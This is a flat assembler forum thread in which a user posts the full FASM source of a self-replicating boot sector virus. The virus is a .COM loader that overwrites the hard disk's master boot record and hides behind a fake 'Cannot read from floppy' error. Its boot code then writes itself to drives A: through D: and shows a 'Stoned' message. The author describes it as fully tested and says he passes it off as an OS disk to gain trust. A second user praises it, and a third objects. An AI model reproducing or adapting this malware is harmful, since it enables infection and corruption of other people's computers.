flat assembler
Message board for the users of flat assembler.

Index > DOS > Boot sector virus - it finally works.

Author
Thread Post new topic Reply to topic
mbr_tsr



Joined: 03 Apr 2011
Posts: 12092
mbr_tsr 21 May 2015, 03:05
Code:
;======================================================
;The Wow.C4 Virus Version 2.0
;Note: Requires int 13h
;by MBR_TSR
;Assemble with FASM
;* .Com file copies 512 byte virus to C:\ boot sector
;* Boot to C:\ writes virus to A: B: C: and D:
;Fully tested. A little slow.
;Acts a little weird waiting for  key, little slow.
;======================================================

;.Com file loader

Org 0x0100

push cs
push cs
pop  ds
pop  es

;------------------------------------------------------
mov ah, 3     ;write
mov al, 1     ;# of sectors
mov ch, 0     ;Cylinder
mov cl, 1     ;Start Sector
mov dh, 0     ;Head
mov dl, 80h   ;drive#
mov bx, Start ;Buff
int 13h       ;disk
;------------------------------------------------------

push cs
pop  ds

;fake message
mov si, FirstMsg
call ShowStrCom

mov ah, 0
int 0x16

mov ah, 0x4C
int 0x21

;------------------------------------------------------
ShowStrCom:
lodsb        
cmp  al, 0   
je   OkayBaby
mov  ah, 0x0E
mov  bh, 0x00
int  0x10    
jmp  ShowStrCom
OkayBaby:
ret
;------------------------------------------------------
FirstMsg db "Cannot read from floppy A: or USB.",13,10,7,0
;======================================================
;Boot Sector
Start:

Org 0x7C00
Main:

;------------------------------------------------------
push cs
push cs
pop  ds
pop  es

mov byte [cs:DriveNumber], 0
call WriteSectorBoot
mov byte [cs:DriveNumber], 1
call WriteSectorBoot
mov byte [cs:DriveNumber], 80h
call WriteSectorBoot
mov byte [cs:DriveNumber], 81h
call WriteSectorBoot

push cs
pop  ds
mov  si, Stoned
call ShowStr

mov ah, 0
int 0x16

jmp Main
;------------------------------------------------------
;ShowStr
ShowStr:
lodsb        
cmp  al, 0   
je   Okay
mov  ah, 0x0E
mov  bh, 0x00
int  0x10    
jmp  ShowStr
Okay:
ret
;------------------------------------------------------
WriteSectorBoot:    
mov  cx, 5 ;retries
Looper:
push cx
push cs
pop  es
mov ah, 3     ;write
mov al, 1     ;# of sectors
mov ch, 0     ;Cylinder
mov cl, 1     ;Start Sector
mov dh, 0     ;Head
mov dl, byte [cs:DriveNumber]
mov bx, Main  ;Buff
int 13h       ;disk
pop cx
jnc WereOut
loop Looper
WereOut:
ret
;------------------------------------------------------
DriveNumber db 0

Stoned db "Your PC is Now Stoned!!!",13,10
       db "Insert Disk I Can Write to...",13,10,7,0

      rb Main+512-2-$ 
      dw 0xAA55

;======================================================    
Edit by revolution: Added code tags
Post 21 May 2015, 03:05
View user's profile Send private message Reply with quote
Foxxy



Joined: 14 Jul 2014
Posts: 42
Location: Somewhere over the rainbow...
Foxxy 21 May 2015, 18:21
Stoned 2.0? Great work, I'm working on a file infector for Win32 myself. Smile
Post 21 May 2015, 18:21
View user's profile Send private message Reply with quote
Foxxy



Joined: 14 Jul 2014
Posts: 42
Location: Somewhere over the rainbow...
Foxxy 21 May 2015, 18:21
Stoned 2.0? Great work, I'm working on a file infector for Win32 myself. Smile
Post 21 May 2015, 18:21
View user's profile Send private message Reply with quote
mbr_tsr



Joined: 03 Apr 2011
Posts: 12092
mbr_tsr 27 May 2015, 21:38
WOW, UR, this one is NICE, for some reason occasionally i have to hit a key to display the message, and sometimes it takes 20 seconds to show the message, the first bug i encountered was int 13h needed a retry, using function 3 only once never worked, and plus gaining my peoples trust it is a good OS disk.
Post 27 May 2015, 21:38
View user's profile Send private message Reply with quote
Fixit



Joined: 22 Nov 2012
Posts: 161
Fixit 28 May 2015, 01:36
Have you considered doing something to help people instead of harming them ?
Post 28 May 2015, 01:36
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2025, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.